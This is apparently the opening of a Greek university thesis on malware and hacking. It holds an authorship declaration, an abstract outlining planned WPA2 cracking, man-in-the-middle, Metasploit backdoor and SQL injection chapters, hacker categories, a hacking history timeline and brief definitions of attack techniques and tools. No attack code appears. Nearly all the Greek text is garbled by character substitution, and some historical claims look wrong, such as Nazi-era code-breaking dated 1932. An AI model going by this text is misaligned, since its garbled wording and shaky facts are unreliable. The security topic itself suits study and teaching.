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Βεβαηϊνυ ψηη είµαη ζςγγπαθέαρ αςηήρ ηερ πηςσηαθήρ επγαζίαρ θαη ψηη θάζε βοήζεηα ηεν οποία είσα 
γηα ηεν πποεηοηµαζία ηερ, είναη πιήπυρ αναγνυπηζµένε θαη αναθέπεηαη ζηεν πηςσηαθή επγαζία. Επίζερ 
έσυ αναθέπεη ηηρ ψποηερ πεγέρ απψ ηηρ οποίερ έθανα σπήζε δεδοµένυν, ηδεϊν ή ιέξευν, είηε αςηέρ 
αναθέπονηαη αθπηβϊρ είηε παπαθπαζµένερ. Επίζερ βεβαηϊνυ ψηη αςηή ε πηςσηαθή επγαζία πποεηοηµάζηεθε 
απψ εµένα πποζυπηθά εηδηθά γηα ηηρ απαηηήζεηρ ηος ππογπάµµαηορ ζποςδϊν ηος Σµήµαηορ Εθαπµοζµένερ 
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ε ζσοιή θαη ζςγθεθπηµένα ο ηοµέαρ ηερ αζθάιεηαρ µέζυ ηυν δηαιέξευν ηος απψ ηα µαζήµαηα αζθάιεηα 

πιεποθοπηαθϊν ζςζηεµάηυν , αζθάιεηα δηθηωυν θαη να µος δϊζεη ηο έναςζµα γηα να τασηϊ παπαπέπα. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 
 
 
 
 
 
 
 



Περίληψη 
 
 
 

 

Κακόβουλο Λογιςμικό(Malware) 
 

Καθψβοςιο ιογηζµηθψ είναη έναρ θϊδηθαρ πος έσεη υρ ζθοπψ να βιάτεη έναν ζςγθεθπηµένο ζηψσο 

ή να βιάτεη ένα ζςγθεθπηµένο δίθηςο µε ζηψσοςρ ή να εξαπιϊνεηε ζε ποιιά δίθηςα ανεξέιεγθηα µε 

ζθοπψ ανάιογα γηα ποηψν ιψγο έσεη γπαθηεί θαη ηο έσεη ζηείιεη ο ζςγγπαθέαρ ή ο δηασεηπηζηήρ ηος 

θαθψβοςιος ιογηζµηθοω. 

 

 

 

Active hacking 
 
 
 
 
 

Πποζπέπαζε αςζενηηθοποίεζερ θαη εηζβοιή ζε ςποιογίζηεθα ζςζηήµαηα , Distributed Denial of 

Service (Dodos) , αιιαγή-δηαγπαθή απσείυν. 
 
 

 

Passive hacking 
 
 
 

 

Παπαθοιοωζεζε seasons µεηαξω 2 ηεπµαηηθϊν , παπαθοιοωζεζε ζςνοµηιηϊν θαη ςποθιοπή εςαίζζεηερ 

πιεποθοπίαρ ήηε ζε θςζηθψ επίπεδο µε θάποηα ηεσνηθή Man in middle ή ζε επίπεδο εθαπµογήρ µε 

θάποηο backdoor.Τβπηδηθψ hacking πος απψ passive hacking µποπεί να πεπάζεη ζε active ψηαν ζευπεζεί 
ε θαηάιιειε ζηηγµή µεηά απψ monitoring. 
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A few words... 
 

Ο ζθοπψρ αςηήρ ηερ πηςσηαθήρ είναη να αναδείξεη θάποηερ ηεσνηθέρ hacking ήηε απψ θαθψβοςιο  
ιογηζµηθψ ήηε απψ µηα γθάµα εξεηδηθεςµένυν επγαιείυν γηα ηέηοηερ δοςιεηέρ ψπυρ ηο ιεηηοςπγηθψ 
ζωζηεµα kali linux. 

 

Σε καµία πεπίπηυζη αςηή η πηςσιακή επγαζία καηαπαηά πποζυπικά δεδοµένα η εξςπηπεηεί 
κακόβοςλοςρ ζκοπούρ.Είναι καθαπά ζηα πλαίζια ηος ethical hacking και ηος Penetration testing πος 
θα µποπούζε να σπηζιµοποιήζει κάποιορ white hat ζηα πλαίζια για ηην εηαιπία πος δοςλεύει ήηε για 
ηο πποζυπικό ηος δίκηςο για να ανακαλύτει ππώηορ ηηρ αδςναµίερ ηος δικηύος ππιν ηιρ 
ανακαλύτει κάποιορ κακόβοςλορ σπήζηηρ και ηιρ σπηζιµοποιήζει ενανηίον ηος. 

 

∆εν ιαµβάνυ θαµία εςζωνε αν αςηή ε πηςσηαθή επγαζία πέζεη ζε ηπίηο ππψζυπο θαη ηο 
σπεζηµοποηήζεη γηα θαθψβοςιο ζθοπψ.Σο µψνο ζίγοςπο είναη ψηη ζα µπεη ζε µπειάδερ απψ ηο θπάηορ θαη 
ηεν δίυξε ηος ειεθηπονηθοω εγθιήµαηορ γηαηί ζηεν εποσή µαρ ηίποηα δεν πεπνάεη απαπαηήπεηο µε 
ηεσνηθέρ θαη αιγψπηζµοςρ πος έσοςν αναπηςσζεί.  
Ήηε σπεζηµοποηήζεη ηεσνηθή spoofing ή ενδηάµεζο δίθηςο tor πος ηα πεπηζζψηεπα πιέον είναη παγηδεςµένα ηα 

gateway ηοςρ θαη ειέγσοςν ηο traffic ζσεδψν θάζε tor node ή άιια proxy servers ή θάποηο virtual private 

network (vpn) πος θιεηδηά αποθπςπηογπάθεζερ απψ εηαηπίερ πος ηα δηανέµοςν ζηοςρ πειάηερ ποιιέρ 

θοπέρ ηα δηανέµοςν θαη ζηηρ απσέρ. Μέζα ζηο δηαδίθηςο θαη ανυνςµία µέζα ζηο ηνηεπνεη δεν ςπάπσεη , 
είναη απιά ένα τέµα. 
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Abstract 
 
 
 

 

In the first chapter we will cover theoretical background 
 

 What are hackers , hacker types and hacking history.
 What is hacking , active hacking , passive hacking.


 What is malicious software , different malware types.


 Malware infects target in the form of Trojan horse thus creating a botnet.


 Malicius Trojan horse software infects target through a game and begins to monitor and record what 

the user types.



In the third chapter will follow practical techniques 



 Breaking wpa2 personal LANs and after techniques of the man in the middle in other 

computer systems


 Attacks on PCs with backdoor implantation techniques and access the machine by Metasploit 

Framework platform.
 Sql injection attacks into vunerable websites for extracting information from databases.
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Κεφάλαιο 1 θεωρία active passive hacking και κακόβουλου 
 

λογιςμικοφ 
 

1.1.1 Τι είναι hackers 
 

Με ηεν έννοηα hacker εννοοωµε έναν άνζπυπο πος έσεη βαζηά γνϊζε ζηεν επηζηήµε ηυν ςποιογηζηϊν 

πος πποζπαζεί να εηζβάιεη ζε δηάθοπα ςποιογηζηηθά ζςζηήµαηα ή δίθηςα ςποιογηζηϊν µε ποιιέρ ηεσνηθέρ 

ψπυρ τάπεµα(phishing) , ηποποποίεζε ιογηζµηθοω(software) , ηποποποίεζε ςιηθοω(hardware) , αξηοποίεζε 

εςπάζεηαρ ηος ζςζηήµαηορ ή ηος δηθηωος ή αθψµα θαη ηος ίδηος ηος σπήζηε. ΢ςιιογή πιεποθοπηϊν 

(information gathering) γηα ηον ζηψσο θαη γνϊζε ζηεν ανυνςµία (ψζο ποηο ποιω γίνεηε) ζηο δηαδίθηςο αιιά θαη 

θάποηερ θοπέρ ζηεν ππαγµαηηθή δυή. Η ιέξε hacker έσεη θαη δηαθοπεηηθή έννοηα ανάιογα o hacker ζε ποηον 

θιάδο ηερ πιεποθοπηθήρ ανήθεη , ηο ήζορ θαη ηεν παηδεία ηος. 

 

Οη hackers ςποθηνοωνηαη ζε ηέηοηερ ενέπγεηερ µψνοη ηοςρ ή ζαν οµάδα γηα ηο θέπδορ , δηαµαπηςπία 

, πποπαγάνδα ζπεζθεςηηθή ή ποιηηηθή, ππψθιεζε , δηαζθέδαζε θαη να θηηάξοςν δίθηςα µε ιηγψηεπερ 

εςπάζεηερ θαη ένα ποηο αζθαιέρ δηαδίθηςο. 
 

Τπάπσοςν ποιιέρ θαηεγοπίερ hacker. Οη ηπεηρ ποηο βαζηθέρ θαηεγοπίερ είναη οη white hats , 

gray hats , black hats. 
 
 

 

1.1.2 Κατηγορίεσ hacker 
 

Η ππϊηε θαηεγοπία hacker είναη οη white hat hackers. Οη hacker αςηήρ ηερ θαηεγοπίαρ αζσοιοωνηαη 

µε ηο hacking ζηα πιαίζηα ηος ethical hacking πος εηδηθεωονηαη ζηο penetration testing. Φάσνοςν θενά 

αζθάιεηαρ θαη εςπάζεηερ γηα µε θαθψβοςιοςρ ζθοποωρ. Θα αξηοποηήζοςν ηηρ ηθανψηεηερ ηοςρ γηα µία 

εηαηπία , έναν οπγανηζµψ ή γηα θάποηον πειάηε ϊζηε να βποςν θαη να θαιωτοςν ηα θενά αζθάιεηαρ πος 

έσοςν ηα ςποιογηζηηθά ζςζηήµαηα ή δίθηςα ςποιογηζηϊν ή ένα ιογηζµηθψ ππην ηο αναθαιωτεη θάποηορ 

θαθψβοςιορ hacker θαη αξηοποηήζεη ηηρ αδςναµίερ ππορ δηθψ ηος ζςµθέπον. 
 
 
 
 
 
 
 

 

Η δεωηεπε θαηεγοπία hacker είναη οη gray hat hackers. Έναρ gray hat hacker είναη θάπος ζηεν µέζε 

µεηαξω ενψρ white hat θαη black hat hacker.Τπάπσοςν ποιιέρ επµενείερ γηα αςηήν ηεν θαηεγοπία.Μία 

επµενεία είναη ψηη οη computer security experts είναη ηο ππυί white hat ethical hackers θαη δοςιεωοςν γηα 
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θάποηον οπγανηζµψ ε εηαηπία συπίρ θαθψβοςιερ πποζέζεηρ θαη ηεν νωσηα είναη black hat hackers πος 

εηζβάιοςν ζε ςποιογηζηηθά ζςζηήµαηα θαη δίθηςα µε θαθψβοςιο ζθοπψ γηα πποζυπηθψ θέπδορ. Άιιε 

επµενεία γηα έναν gray hat hacker είναη ψηη ζθανάπεη γηα εςπάζεηερ, εηζβάιεη παπάνοµα ζε 

ςποιογηζηηθά ζςζηήµαηα µεηά ηο ιέεη ψηη ςπάπσεη εθείνε ε εςπάζεηα , ψηη εθεί πέπα είναη ανοησηοί θαη 

να θιέηζοςν ηο θενψ αζθάιεηαρ. Μποπεί να µεν εηζβάιοςν γηα θαθψβοςιοςρ ζθοποωρ αιιά πάνηυρ να 

εηζέιζεηρ ζε ένα δίθηςο ή έναν ςποιογηζηή συπίρ ηεν άδεηα ηος δηασεηπηζηή είναη παπάνοµο. 
 
 

 

Η Σπίηε θαηεγοπία hacker είναη οη black hat hackers. Έναρ black hat hacker δηαππάηεη θαηά θωπηο 

ιψγο ψια ηα cyber εγθιήµαηα. Θα εηζβάιεη ζε ένα ςποιογηζηηθψ ζωζηεµα ή ζε ένα δίθηςο γηα 

θαθψβοςιοςρ ζθοποωρ ψπυρ ςποθιοπή δεδοµένυν, πηζηυηηθέρ θάπηερ , πποζυπηθά έγπαθα, εηθψνερ, 

θυδηθοωρ, πποζζήθε-δηαγπαθή-ηποποποίεζε απσείυν, παπαθοιοωζεζε ηος ζηψσος απψ µηθπψθυνο, 

θάµεπα, θαηαγπαθή ηερ πιεθηποιψγεζερ ηος ζηψσος, monitoring εν οζψνε ηος ζηψσος θαη άιια ποιιά µε 

απϊηεπο ζθοπψ ηο θέπδορ. 
 
 

 

Τπάπσοςν επίζερ ςποθαηεγοπίερ απψ hacker ανεξαπηήηορ άµα είναη white , gray ,black hat hacker. 

Ανάιογα µε ηο πψζο θαιψρ είναη ή ποηορ ο ιψγορ πος ηον υζεί ζηο hacking ςπάπσοςν θαη ςποθαηεγοπίερ. 

 
 

 

Η ππϊηε ςποθαηεγοπία είναη ηο Elite hacker. Με ηεν έννοηα elite hacker εννοοωµε ηον ποηο 

επίδοξο , έξςπνο θαη παπάιιεια αςηψν πος ξέπεη ππογπαµµαηηζµψ , ζσεδηαζµψ 

ιεηηοςπγηθϊν ζςζηεµάηυν, έσεη βαζηά γνϊζε ηερ επηζηήµερ ηυν ςποιογηζηϊν, ηυν δηθηωυν 

θαη ποηο πηζανψν ζα ξέπεη να σεηπαγυγεί ανζπϊποςρ µε ηεν ηεσνηθή social engineering. Έναρ 

elite hacker είναη ζηεν θοπςθή ηερ θιίµαθαρ ζε δεξηψηεηερ θαη ηθανψηεηερ ηυν hacker. 
 
 

 

Η δεωηεπε ςποθαηεγοπία είναη οη script kiddies. ΢ε αςηήν ηεν ςποθαηεγοπία ανήθοςν οη 

σπήζηερ πος δεν έσοςν θαζψιος γνϊζεηρ ή δεξηψηεηερ απψ hacking.Πέπνοςν έηοηµα 

θαθψβοςια ππογπάµµαηα πος ηα έσοςν θηηάξεη άιιοη hacker.Καηά θωπηο ιψγο ηα έσοςν 

θηηάξεη άιιοη black hats. 
 
 

 

Η ηπίηε ςποθαηεγοπία είναη οη hacktivists. Ο βαζηθψρ ζθοπψρ ενψρ hacktivist είναη ή 

δεµοζίεςζε πποπαγάνδαρ µηαρ ποιηηηθήρ ή ζπεζθεςηηθήρ ηδέαρ.Αςηή ε ςποθαηεγοπία 

έσεη µία άιιε ςποθαηεγοπία. 
 

 Τποθαηεγοπία ενψρ hacktivist είναη ο cyberterrorist πος βαζηθψ ηος σαπαθηεπηζηηθψ 

είναη ο θαναηηζµψρ µηαρ ποιηηηθήρ ή ζπεζθεςηηθήρ ηδέαρ. Με ηεν έννοηα 

cyberterrorist ή cyberterrorism είναη ε δηάδοζε ηος θψβος θαη ηερ απάηερ ζηο θοηνψ.
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1.1.3 Ιςτορική αναδρομή των hacker 
 

Αςηή ε ηζηοπηθή αναδποµή ζα βοεζήζεη θαιωηεπα ηον αναγνϊζηε να θαηανοήζεη θαιωηεπα ηη είναη 

hacking θαη ηο θαθψβοςιο ιογηζµηθψ µε θάποηα παπαδείγµαηα απψ ηο παπειζψν. 

 

 1932 Ποιυνοί θπςπηογπάθοη έζπαζαν θπςπηογπαθεµένο θϊδηθα επηθοηνυνίαρ πος είσαν οη 
ναδί ζηον β παγθψζµηο πψιεµο.


 Σο 1965 οWilliamD. Mathews βπήθε µία εςπάζεηα ζηο ιεηηοςπγηθψ ζωζηεµα CTSS ψηαν ήηαν 

θοπηυµένο ζηον ςποιογηζηή IBM7094.Ο text editor ηος ζςζηήµαηορ ήηαν ζσεδηαζµένορ να ηον 

σεηπίδεηαη µψνο έναρ ζςνδεµένορ σπήζηερ θάζε θοπά µε αποηέιεζµα να θπαηάεη ένα θοηνψ 

απσείο. ΋ηαν µία θοπά 2 ππογπαµµαηηζηέρ πποζπάζεζαν να γπάτοςν µαδί ο θυδηθψρ ηος user 

έθανε swamp.


 Σεν δεθαεηία ηος 70 έθαναν ηεν εµθάνηζε ηοςρ οη phreakers πος εζηίαδαν ζηηρ ηειεθυνηθέρ 
γπαµµέρ.Αναθάιςταν θαη εθµεηαιιεωηεθαν θάποηα ζςγθεθπηµένα σαπαθηεπηζηηθά ηερ ηψηε


ηειεθυνηθήρ ηεσνοιογίαρ ϊζηε να θάνοςν ζε µαθπηνή απψζηαζε ηειεθυνηθέρ θιήζεηρ 
συπίρ σπέυζε. 


 Η σπςζή εποσή ηερ hacking θοηνψηεηαρ ξεθίνεζε ηεν δεθαεηία ηος 80 ψπος ξεθίνεζαν να 

θςθιοθοποων ζηεν αγοπά οη ππϊηοη πποζυπηθοί ςποιογηζηέρ απψ ηεν Apple , RadioShank θαη IBM. 

Οη ςποιογηζηέρ πιέον δεν πεπηοπίδοηαν ζε ιίγα σέπηα.Σψηε
..ξεθίνεζαν θαη οη ππϊηερ hacking οµάδερ πος ποιιέρ απψ αςηέρ είσαν εγθιεµαηηθψ σαπαθηήπα 

γηα παπάδεηγµα ξεθίνεζαν να θςθιοθοποων πεηπαηηθψ ιογηζµηθψ , ηοωρ θαη worms πος µποποωζαν 

να επηηεζοων ζε άιια ςποιογηζηηθά ζςζηήµαηα. 
 1988 Ο Robbert Morris έθηηαξε ηο ππϊηο θαθψβοςιο ιογηζµηθψ Morris worm ψπος εξαπιϊζεθε ζηο 

δηαδίθηςο ηζσςπηδψµενορ ψηη είσε ηεν πεπηέπγεηα να αναθαιωτεη πψζο µεγάιο είναη ηο δηαδίθηςο.


 1989 5 γεπµανοί hackers πηάζηεθαν απψ ηεν αζηςνοµία µε ηεν θαηεγοπία ηερ θαηαζθοπίαρ 

θαη ποςιοωζαν πιεποθοπίερ ζηοςρ ζοβηεηηθοωρ.
 1989 θηηάσηεθε ένα Trojan horse θαθψβοςιο ιογηζµηθψ πος γηα payload είσε ένα ransomware ψπος


θπςπηογπαθοωζε ψια ηα απσεία ηος ζθιεποω δίζθος θαη ηο θιεηδί ηερ αποθπςπηογπάθεζερ ηο είσε 

ο δεµηοςπγψρ ηος θαθψβοςιος ιογηζµηθοω.Μεηά απαηηοωζε απψ ηοςρ σπήζηερ ζωµαηα να 

πιεπϊζοςν ηο ποζψ ηυν 189 δοιαπίυν γηα να αποθπςπηογπαθεζοων πάιη ηα απσεία ηοςρ. 


 1990 4 hacker απψ γνυζηή παιηά οµάδα hacker µε ψνοµα Legion of doom έθιεταν ηηρ ιεπηοµέπεηερ 

, usernames θαη passwords απψ έναν µεγάιο οπγανηζµψ ζηεν Αµεπηθή. Μεηά ε αζηςνοµία απάνηεζε 

µε οπγανυµένε επησείπεζε µε ψνοµα sun devil ζηεν Αµεπηθή ηαςηψσπονα ζε 12 πψιεηρ έγηναν 

ζςιιήτεηρ hacker νυπίρ ηα ξεµεπϊµαηα.


 1991 θαηά ηεν δηάπθεηα ηος ποιέµος ζηον πεπζηθψ θψιπο 4 δανοί έθεβοη έζπαζαν ηο δίθηςο 

ηος ςποςπγείος άµςναρ θαη είσαν ππψζβαζε ζε εςαίζζεηερ πιεποθοπίερ.


 1994 2 hacker µε ηα δηαδηθηςαθά τεςδϊνςµα Datastream θαη Kuji παπαβίαζαν εθαηονηάδερ 

ςποιογηζηέρ ψπυρ ηερ NASAθαη ηος θοπεάηηθος ηνζηηηοωηος αηοµηθήρ έπεςναρ.


 1994 έναρ ςποηηζέµενορ ςπάιιειορ ηυν βπεηανηθϊν ηειεπηθοηνυνηϊν εηζβάιεη ζε ςποιογηζηή 

µε πποζυπηθά δεδοµένα ψπυρ οη ηειεθυνηθοί απηζµοί ηερ βαζίιηζζαρ , ηος ππυζςποςπγοω , θαη 

εγθαηαζηάζεηρ ηος ζηπαηοω ψπος ψια δεµοζηεςηήθαν ζηο ίνηεπνεη.
 
 
 
 

7 



malware , active hacking ,passive hacking 
 
 

 1995 Ρϊζζορ hacker Vladimir Levin ζςιιαµβάνεηε ζηεν Βπεηανία µεηά απψ εηζβοιή µέζο ηος 

ςποιογηζηή ηος ζηεν Citybank θαη µεηέθεπε σπήµαηα ζε ποιιοωρ ηπαπεδηθοωρ ιογαπηαζµοωρ 

γωπυ ζηον θψζµο.

 1996 αναθέπζεθε ψηη έγηνε απψπεηπα δηαδηθηςαθήρ επίζεζερ ζηο ςποςπγείο άµςναρ ζηεν 

Αµεπηθή 250000 θοπέρ µψνο ηο 1995. 65% ηυν επηζέζευν ήηαν επηηςσέρ.

 1997 ένα freeware hacking tool θςθιοθψπεζε γηα ηοςρ script kiddies πος ηο σπεζηµοποηοωζαν 

ζηο AOLγηα να πάποςν απψ ηον θψζµο πιεποθοπίερ ψπυρ usernames θαη passwords , είσε θαΐιερ 

δςναηψηεηερ ψπυρ δεµηοςπγία τεωηηθος account , είσε εηδηθά επγαιεία γηα phising , mailbomb 

πος έζηεινε ζηοςρ άιιοςρ σπήζηερ µέσπη να γεµίζεη ο αποζεθεςηηθψρ σϊπορ ηος mail.

 1998 ε yahoo ενεµέπυζε ηον θψζµο ψηη ίζυρ ο ςποιογηζηήρ ηοςρ θψιιεζε θάποηο worm µε 

logic bomb πος ηο θαηεβάζανε απψ επίζθετή ηοςρ ζηεν ζειίδα ηηρ ηειεςηαίερ εβδοµάδερ.

 1999 δεµηοςπγήζεθε ο ηψρ(virus) mellisa πος δοωιεςε απψ µαθποενηοιέρ ζε Μicrosoft word 

1997.Αςηψρ ο ηψρ έθηανε ζηον ζηψσο µέζο email θαη ζε έβαδε ζηον πεηπαζµψ να ηο θαηεβάζεηρ 

εξαπαηϊνηαρ ηον ζηψσο µε ηεσνηθή social engineering µε ηίηιο ηος mail "Here is that document 

you asked for... dont show any one else... ;)"

 2000 ηο ILOVEYOU worm ήηαν γπαµµένο ζε visual basic γιυζζά θαη έζηεινε ανηίγπαθά ηος 

µέζυ Mail θαη πποζπαζοωζε να εξαπαηήζεη ηον ζηψσο µέζυ ηος attachment µε ονοµαζία "love-

letter-for-you.txt.vbs" νοµίδονηαρ οη σπήζηερ ψηη είναη ένα απιψ .txt θείµενο.

 2000 έναρ black hat hacker µε ηο τεςδϊνςµο MafiaBoy πποϊζεζε µία ζεηπά απψ Distribuded 

Denial of Service(DDoS) attacks to big companies only in a week.

 2001 ππαγµαηοποηήζεθε ε ππϊηε hacking επίζεζε µε ζηψσο ηο Domain name server(DNS) ζηηρ 

ηζηοζειίδερ ηερ microsoft µε αποηέιεζµα οη σπήζηερ πος ζέιοςν να εηζέιζοςν ζηεν ζειίδα 

ηοςρ οδεγοωζε αιιοω.
 2007 ο George Hotz ήηαν ο ππϊηορ άνζπυπορ πος θαηάθεπε να ξεθιεηδϊζεη ηο iphone.
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 1.1 εηθψνα 1.2 
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1.2.1 Τι είναι Hacking 
 

Με ηον ψπο hacking ζηεν επηζηήµε ηυν ςποιογηζηϊν θαη ζηεν αζθάιεηα ηυν ςποιογηζηϊν 

εννοοωµε ψηαν έναρ σπήζηερ σπεζηµοποηεί ένα επγαιείο εηδηθά ζσεδηαζµένο ψπυρ γηα να τάξεη αδςναµίερ 

ζηο ζηψσο ςποιογηζηήρ ή ζηον ζηψσο δίθηςο αν βπίζθεηαη ζηο ίδηο ςποδίθηςο ή ζε άιιο ςποδίθηςο ζηο 

ίνηεπνεη.Αδςναµίερ ψπυρ ανοησηέρ πψπηερ ή να εθµεηαιιεςηεί µία εςπάζεηα ψπυρ µέζα απψ ένα backdoor 

πος ςπάπσεη ζηον ςποιογηζηή εγθαηεζηεµένο ζθψπηµα απψ θάποηον θαθψβοςιο σπήζηε ε ιογηζµηθψ ή απψ 

ιάζορ ηος θαηαζθεςαζηή , επίζερ µποπεί να πάπεη ένα freeware επγαιείο απψ ηο ίνηεπνεη θαη να ηον 

ηποποποηήζεη ο σπήζηερ θαηάιιεια. 
 

Τπάπσοςν πάπα ποιιέρ ηεσνηθέρ hacking πος µποπεί έναρ hacker ή έναρ script kiddie να σπεζηµοποηήζεη. 

 

 Ανίσνεςζε εςπάζεηαρ (vulnerability scanning) : Τπάπσοςν ποιιά επγαιεία δηαζέζηµα ζηο 

ίνηεπνεη freeware ή επί πιεπυµήρ ζηο δηαδίθηςο. Αςηή ε ηεσνηθή σπεζηµοποηείηε γηα ανίσνεςζε 

θάποηαρ εςπάζεηαρ ζηον ζηψσο ςποιογηζηή ή εςπάζεηαρ ζε θάποηο δίθηςο.
Κάποηα vulnerability scanners ψπυρ Nessus , OpenVAS . 


 Port scanning : Αςηή ε ηεσνηθή σπεζηµοποηείηε γηα να ζθανάπεη ηα ports ενψρ ςποιογηζηή ή ψια ηα 

ports ψιυν ηυν ςποιογηζηϊν ενψρ δηθηωος µε ζθοπψ ηεν ζςιιογή πιεποθοπηϊν ψπυρ ποηερ 

δηθηςαθέρ πψπηερ είναη ανοησηέρ , ποηερ θιεηζηέρ , οη πψπηερ πος είναη ανοησηέρ ποηα ππυηψθοιια 

ηπέσοςν , ποηο ιεηηοςπγηθψ ζωζηεµα θαη ποηερ εθαπµογέρ µε αποηέιεζµα να βπεζεί θάποηα 

εςπάζεηα ή θάποηο θαθψβοςιο ιογηζµηθψ να ζςνδέζεη ηον σπήζηε απψ θάποηο port.Κάποηο απψ ηα 

ποιιά δηαζέζηµα επγαιεία γηα port scanning είναη ηο nmap.


 Information gathering είναη ε ενέπγεηα πος θάνεη θάποηορ hacker ή penetration tester ππην θάνεη µία 

επίζεζε ζε θάποηο ςποιογηζηηθψ ζωζηεµα ε ζε θάποηο δίθηςο. Ο αποηειεζµαηηθψρ ηπψπορ γηα ένα 

ζυζηψ information gathering είναη να µαδέτεη ο επηηηζέµενορ αθπηβείρ πιεποθοπίερ γηα ηον ζηψσο


γηαηί ψζερ ποηο αθπηβείρ θαη πεπηζζψηεπερ πιεποθοπίερ έσεη ο επηηηζέµενορ γηα ηον ζηψσο ππην 

ππάξεη ηψηε ε επηηςσία να πεηωσεη ε επίζεζε είναη µεγάιε. Σο information gathering απαηηεί 

πποζεσηηθψ ζσεδηαζµψ θαη έπεςνα. ΢ε αςηψ ηο ππυηαπσηθψ ζηάδηο ο επηηηζέµενορ πποζπαζεί 

να µαδέτεη ψζερ πεπηζζψηεπερ πιεποθοπίερ µποπεί. 
o  Μία ςποθαηεγοπία ηος information gathering είναη ηο passive information gathering. 


Με αςηψν ηον ηπψπο µαζαίνεηρ πιεποθοπίερ γηα ηο ιεηηοςπγηθψ ζωζηεµα ενψρ 
µεσανήµαηορ ή ηα ψπηα ενψρ δηθηωος µε µεσανήµαηα συπίρ να ηα πεηπάξεηρ. 

o Μία άιιε ςποθαηεγοπία γηα ηο information gathering είναη ηο active information 

gathering. ζε αςηήν ηεν ςποθαηεγοπία ο επηηηζέµενορ αιιειεπηδπά θαηεςζείαν µε ηο 


ςποιογηζηηθψ ζωζηεµα ή µε ηο δίθηςο ψπος ζσεδηάδεη να επηηεζεί µε ζθοπψ να 

µαδέτεη ψζερ πεπηζζψηεπερ πιεποθοπίερ µποπεί. Ένα επγαιείο απψ ηα ποιιά 

γηα αςηψν ηον ιψγο είναη ηο Nmap. 
 Άπνεζε εξςπεπέηεζερ (Denial of Service) είναη ψηαν έναρ ςποιογηζηήρ ε µία οµάδα απψ


ςποιογηζηέρ πος ζηεν πποθείµενε πεπίπηυζε ιέγεηε θαηανεµεµένε άπνεζε εξςπεπέηεζερ 

(Distributed Denial of Service) θαζηζηά έναν ςποιογηζηή ή ένα δίθηςο ή µία ζςγθεθπηµένε 
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εθαπµογή να µεν µποπεί να εξςπεπεηήζεη άιιον σπήζηε επεηδή ηο δίθηςο ηος γεµίδεη µε τεωηηθα 

tcp requests θαη να είναη απαζσοιεµένοη οη πψποη ηερ cpu ςποιογηζηή ή ηηρ cpu ηυν ςποιογηζηϊν 

ηος δηθηωος. 
 

 SQL injection είναη µία ηεσνηθή πος σπεζηµοποηείηαη ζε web applications ψπος ο σπήζηερ µποπεί να 

σπεζηµοποηεί ενηοιέρ SQL ζηεν βάζε δεδοµένυν ηερ εθαπµογήρ συπίρ ο σπήζηερ να έσεη ηέηοηα 

άδεηα µε αποηέιεζµα αποθαιωπηονηαρ ηεν βάζε δεδοµένυν , να δηαγπάτεη δεδοµένα , να 

ηποποποηήζεη δεδοµένα θαη ψηη άιιο ζέιεη. Κάποηα δηαζέζηµα επγαιεία απψ ηα ποιιά πος 

ςπάπσοςν γηα sql injection είναη ηα BBQSQL θαη Sqlmap.


 Cross side scripting(XSS) είναη ε ηεσνηθή εθµεηάιιεςζερ θάποηαρ εςπάζεηαρ µίαρ ηζηοζειίδαρ απψ 

πιεςπάρ ηος σπήζηε (client side) µε εηζαγυγή html θϊδηθα ή ζε javascript θϊδηθα. Αςηή ε ηεσνηθή


ζα µποποωζε να θάνεη µεγάιε δεµηά ζηον σπήζηε γηαηί ζα µποποωζε να ηος ςποθιέτεη 
εςαίζζεηερ πιεποθοπίερ. 


 Brute force ηεσνηθή σπεζηµοποηείηε ζςνήζυρ ζε θάποηα εθαπµογή γηα να πεπάζεηρ µε επηηςσία ηεν 

αςζενηηθοποίεζε ηος σπήζηε. Εννοϊνηαρ brute force εννοοωµε ψηη ηο ζωζηεµα ζα δοθηµάζεη θάζε


πηζανή ιέξε ε ζεηπά σαπαθηήπυν µέσπη να βπεη ηον ζυζηψ θυδηθψ θαη να γίνεη 

αςζενηηθοποίεζε.Επγαιεία δηαζέζηµα γηα brute force attacks είναη ηο Hydra , John the ripper. 


 Packet sniffing είναη ε ηεσνηθή παπαθοιοωζεζερ ηυν παθέηυν ενψρ δηθηωος θαη να θάνεη traffic 

analysis ηος δηθηωος.Άµα ε θπςπηογπάθεζε ηος πεπηεσοµένος ηος παθέηος δεν είναη δςναηή έναρ


θαθψβοςιορ σπήζηερ µποπεί να παπαθοιοςζήζεη έναν άιιον ςποιογηζηή ή δίθηςο ή να 
ςποθιέτεη εςαίζζεηα δεδοµένα. 


 Phishing είναη µία ηεσνηθή παπαπιάνεζερ πος ζςνήζυρ γίνεηε µέζο ειεθηπονηθοω ηασςδποµείος. 

Ο αποζηοιέαρ ζηέινεη ένα mail πος µοηάδεη έµπηζηο απψ µία έµπηζηε ονηψηεηα αιιά ζηεν


ππαγµαηηθψηεηα είναη παπαπιανεηηθψ µε αποηέιεζµα ο ζηψσορ να παπαπιανεζεί θαη να 
αποθαιωτεη εςαίζζεηα δεδοµένα. 


 Click jacking είναη µία ηεσνηθή πος είναη ζςνέσεηα ηος Cross site scripting(XSS) ψπος ζηεν ζειίδα 

εµθανίδονηαη δηαθοπεηηθά παπαπιανεηηθά buttons ή θάποηερ θοπέρ θαη αψπαηα.Άµα ο σπήζηερ ηα


παηήζεη µποπεί να ηον πάεη ζε άιιερ ηζηοζειίδερ µε δηαθεµηζηηθά ή να θοπηϊζεη θάποηο 
θαθψβοςιο ιογηζµηθψ ζηον ςποιογηζηή µέζο java script. 


 Cookie theft ή session hijacking αςηή ε ηεσνηθή σπεζηµοποηείηε ψηαν έναρ σπήζηερ πάπεη ηα 

cookies ενψρ άιιος σπήζηε θαη µποπεί ζε ζειίδερ πος είναη ο σπήζηερ επηζθεπηψηαν να είναη 

authenticated ζαν ηον άιιον σπήζηε πος ηος πήπε ηο cookie.
 Botnet είναη ένα δίθηςο δηαζςνδεµένο ζε ψιο ηο ίνηεπνεη. Αποηειείηαη απψ απψ ειεθηπονηθοωρ


ςποιογηζηέρ πος είναη µοιςζµένοη απψ θαθψβοςιο ιογηζµηθψ συπίρ να ηο γνυπίδοςν οη ηδηοθηήηερ 

ηοςρ. Αςηοωρ ηοςρ ςποιογηζηέρ ηοςρ δηασεηπίδονηαη αποµαθπςζµένα απψ θαθψβοςιοςρ hacker 

θςπίυρ. Ο θωπηορ ιψγορ πος σπεζηµοποηείηε ένα botnet δίθηςο είναη γηα mail spamming , να 


